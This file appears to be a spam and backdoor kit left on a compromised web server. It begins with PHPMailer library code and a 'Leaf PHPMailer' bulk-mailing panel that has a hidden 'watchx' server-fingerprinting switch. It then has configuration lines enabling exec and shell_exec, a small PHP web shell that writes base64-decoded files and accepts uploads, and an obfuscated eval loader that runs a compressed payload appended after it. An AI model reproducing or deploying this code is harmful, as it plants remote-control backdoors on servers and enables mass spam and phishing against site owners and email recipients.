            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'ba'.'se64'.'_'.'decod'.'e'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$BySc='s'.'t'.'r'.'_repl'.'ace';$RAvC='su'.'bstr';$Gwyh='f'.'ile_ge'.'t'.'_con'.'tents';$PirH='gzu'.'ncomp'.'ress';$PNRC='ex'.'it';eval($PirH($BySc('mgypfjlnvb','>',$BySc('sdwjvhkbca','<',$RAvC($Gwyh( __FILE__ ),-216687)))));$PNRC(0);
?>
x]~uU]qɚHc#@މA`&m̧?Y]j_mgypfjlnvb_L1ۚ&SRWǿ67
{ۗS}~sdwjvhkbca.~}emgypfjlnvb?_~ۿ{.{ުY?glq5umgypfjlnvboo}mgypfjlnvb&Sosdwjvhkbca+qgݼ?oǂFuuߓaoy3wcmjwjfL_7([H+/xC+ozoGm=ݫ/s}裡
=}ǫ`;綝mWXh{wYߪ*/|FzU[r\1 oVzamgypfjlnvbv+&*	H.HLrn!Ltsdwjvhkbca#-_{smUDs|=mgypfjlnvboz#|j{;ӡYC3ٻaɚJx,G-&UZc(nMs9G'g0&
~	Ι{7H۹η	lDO
K9ZN}{i.~*mgypfjlnvb-kx346c]d;PKW#oU!^[.T8W9GU=aq %k?~[d;	c,:cmgypfjlnvbs\~TR~šI.G_5Nm2Q?.a)lY0~QN[q]-mgypfjlnvbL'\=6+=&ߧhn/mgypfjlnvbĆqoǢ2?pd}6͠oJsdwjvhkbcan;RE;{T&H`M;Y'i+Y"?Xم	7M٫c}v_㦇M)ӿY==w)[[g
s;ɗ_K
7~揽?~5n5~)%շe3sdwjvhkbcaF6
ֿs[)}@w%]ŭRcQF~s(PkYUGamgypfjlnvb{ʐ2۠\d*k*Hsdwjvhkbcahzd"F$L
9?s.H}r&+4DCsb,Ŭ)ӅV}2
7^0kgU6Q9-%w.|?o*YbQ})_"8lϷEӫd;6k3{Tr_omgypfjlnvbRlow.Q{8?&eZKs,-GR^.༖$Ɉ~i[S)Bމkً_J8ɮmgypfjlnvb׽)h!qpuXEϕ9^Q!_mމGHFq
rWI mgypfjlnvbw͍wE{zEzj.0GcX
*9O
^
/qOڢ}6mgypfjlnvb×H؂.zfR0bYwҵ幣$2vKmcKN~jJ݋8?]p	ҩ]ڵ		$	#ڿrNHSa1,({|s߮[b%eMX
kLV&?iJxWB*l%.hIsV65AmrI3:fG̓2bս`Y"p|sdwjvhkbcao
u{#st^Vn)x	⃂\Ʀ9Q'~IَYHG$P؋rhXIqUaRpJHO(n9V)pY9[SO
RZ/;^G67c'mKkqrJl[?OKξ_M|"۵+h߬mx	蚭wxȫQy&XtuhH\x2]RwwbL^[
4\$RsuoѪgp"I
sl"~$W0Xi~UN+\ӡwյAN©;C=R֠yz=aKsY%L̆mgypfjlnvb#Isdwjvhkbca_Nm!sIyv.z,fIaBĢsdwjvhkbcax䩓	}q*eOiN{nĳXա
e}|wVrPuGxR2^9#8&Pk
Q4d~)Wb"{M 蠟_eՁ5u3{z$Н"*y֘OW=dŜZBl^)uXIb"-}$-yqCxJ1ߑ\2;~ZLGuA19I}Cr̢1c7"^b2Y蹴NBN}M/Ylĺޭ%P"glC8nZpzj|azfeH|lY4k#`%}^MȊO/\H55eݠPxEcа􇻔b:$Q ++iY7.~r'ɗMaaUDV5ƶpBofI.Gg+M^yA-3yLɋh_.8+z [!y?ysĉI}qb=
mgypfjlnvb3sdwjvhkbca᪟ȓv#gSaV,K%y5on_IdX2dN%LQ-O^%^O9kUVW2зT@_]e$1uTw{$g siW]#Bƹ #&P#2z?SA|ԣIesdwjvhkbcaEǋdt06}3L[K
8QBWOa|y/qۮBwnomM	h@T]\Q̮?wW'sdwjvhkbcaY+2t(̃/ǁsdwjvhkbca`Pְ$cےTY߼/uyG3;ƌ.rmgypfjlnvbD%^mmgypfjlnvbwM;Z:yiˁ|*j#TF"wҏyr
K}"V:fx0vDNg
O8Ghq:ni?ݨ5_I~,aJ*\0I++㼶 FK` i8oc9&+I'l1`f/LM&SakGǘq/QW"aT:.PѢ &\B~ޫ5V$ 4V~ɎIDmQS=:6`yU?Smgypfjlnvbg^i
~d(2д%vKLX1]XzsdwjvhkbcafgR|(L?171dl@wM.}Jq[e%#`|OKFOeCc13qh^umgypfjlnvbn^xX8B[[p܊aSA#eֺb?
cfmgypfjlnvb\]rZ^@((`gAJ!\f5iD])/C*k+n}P+^z~`\e8XUgV$酅nŭD'ǤvL:tӆkb[;Wr` cγ'V *Ljg]  D-msdwjvhkbca'U񜄺v;!B95zo|vvu,NyS;Z"V\$=ۉ^0W|KG޵ltsLg褬K u5Q~==sI6N`8ݽ*4Gq_8pnݲ:}=*Ъ7G®#Y
#R`znd\"mgypfjlnvb\]ҵ]倶2XS)Ç8zpXLU*$6rC /ݛS~evk/
wqur&=r	˹:L6B!Y'*S{;]Tmgypfjlnvbf2iu1Fimgypfjlnvb3І]4Mmgypfjlnvb]f$;AFeq Q/
ԛJ.㕁7@2._zbHP߿SlAֻĩCw*]?-諄\
s7}V5'gޓwٵ0/jcd5Iv-Pj]^'zqA=7ye:ܓӪ`N7ڞ	o|ϪQ@r̹ Uc"/D.tC*BI-$.LǴd6c+.)ឭ}sdwjvhkbca=$HW&r_ebW=8/|rǀO+W`EEMr hzw5\D~9WAFnrz9Xw(=isdwjvhkbcak'-?=w d"ĪfN+ʆmgypfjlnvbdVaJ;]Wmgypfjlnvbk@^l1Ԗ۵|`)0w5lpAO*78~
K~V:ԇ4
*cal"!1
+xGEp|s*ү!h]Ux*GmQ7fuMyhخg#L%"=AC~wBS8ڭp)iT:ޥG@˱OґP*U]Gj(ɕ?2ȇgX5OODsdwjvhkbcaܯ:ؿ+`ֽDVqmgypfjlnvb[HVTHLibi;-;ml&/8OK$48[sPDy@X?!뻈G42$#05^&}`|&|ڒ!qIg+NmKW6*!DPb|$H
ȅIo9c46V?"FbmgypfjlnvbdHFCVbC\3z+2)bƽkd䶘1@MrUي?:lP՗V1;ѣj%}mm 6g	4x# ["|wVlys)aEƹ.	r!YAuOG
9/!eK^Z{Zw)T)B8  ZH@mgypfjlnvbuFXG^%iftxsdwjvhkbca!lqal?*Wp{@p2P_5엺|j.ؚ1*=ݟWbzxN%a h%rH?9Y'AQ
{	͵-Z[E2|KC'/^]-dw:W8V
}ON,h/r.A*|DIU_P	 sN6jL [I1Ibd4ǳFQXᄤ{E'eM
ДXpQujKCxɹ.nٗ%|jļ
X*݁560K؂x5x6mgypfjlnvbwskz*	޷sdwjvhkbcaRn%q;p=~?r1@[KIM.8߮;fbst .[Qe453йRՄ#^ۘ_B184̞ytބ{sdwjvhkbca^dCy)JqbIeEVRa
_ [cr
3%y99wЬp
碪z1D'NUdòm?YKO(bM9v2ޞ.id$28xĨ\[Xx^ҁ̿  *Wo	:^\
sdwjvhkbcaxFi(4!å"bs&TRhq|8[bD"4qsA٥+SC是7ZG=mgypfjlnvbwWŴZb`sf(V01	HYQ^eeivU	:j҂qq*6x#y3"'9JjLZ=j^ҁ:u'j5[3|#3gxowDdpmЧZĀl:4گz\+!Kg"ʞP\3ӧŧ ]8]7'J/sdwjvhkbca
(LYV,1ԣ }IW
3Isdwjvhkbca}y-? sdwjvhkbcakeBK7߼oA_cNF)!/F@3dȸ8wsdwjvhkbca"~B6*@S$pXu{i_=$glĴfH =9qUOz',N{**^cO=$3Yb-
2G{
9ҷ;E[r(pੲ;q*%mgypfjlnvb#Ʒ/v;H0&yWpp`'&`j9{EknBu	27L?#D_{A⃊d%ʱOK.(`ݖUUn=W@(gɒfӣH5r|d\X\wB΃a|D:b6=qĴbt,pt*4AP2$!Kgr,ff϶sdwjvhkbca_)mgypfjlnvbSHq	;=ySγ?2g.:W6\D@0("VuN^Rsg=	p xfQ/ɛV kx	
k3jqMԑH=y7})A= Z3Ʉ}ځuYx mgypfjlnvb{vT`j,e곱_+7'Sq@Ql3͢ozcݮ52zP=n!`VƝDBesdwjvhkbcaлDfŁɪ/zx%03|X|#
3);=+؎ܨҩWwrmgypfjlnvb_P1)MS&N@ޏ3p*Ab\yEe!EsRU'Zs%K-/*@
lTUc_~"	Q{'M0Y.mgypfjlnvbrcN3у4{T8օdٳM`o:a^ڶͬGO2mgypfjlnvbk:hI(
lPji;7FoB[PpK)8H:i0 \8{^~v.%54~mgypfjlnvbs.cBȉ_pi$Ze)zk)׾y* 80C-eKʗ5	н	=oGubGwe9qKGA3	ȮlJ33tǥsdwjvhkbca+
OAó	Pnr	F4sdwjvhkbca@}*!ȹp}jl=r݋XsdwjvhkbcaYwᮯm!aEzNyO 9,ȍmי$/j0߇})mmD@ֿ8sdwjvhkbcav" mgypfjlnvbauݮi ?%ġOm}.I!?P0A$|8l'*83LOssdwjvhkbcay&k8?.'~t(lg9P͒+±?6ʙ(DKrKKx"x61|Fl4P5毤2[ mgypfjlnvbJ$t
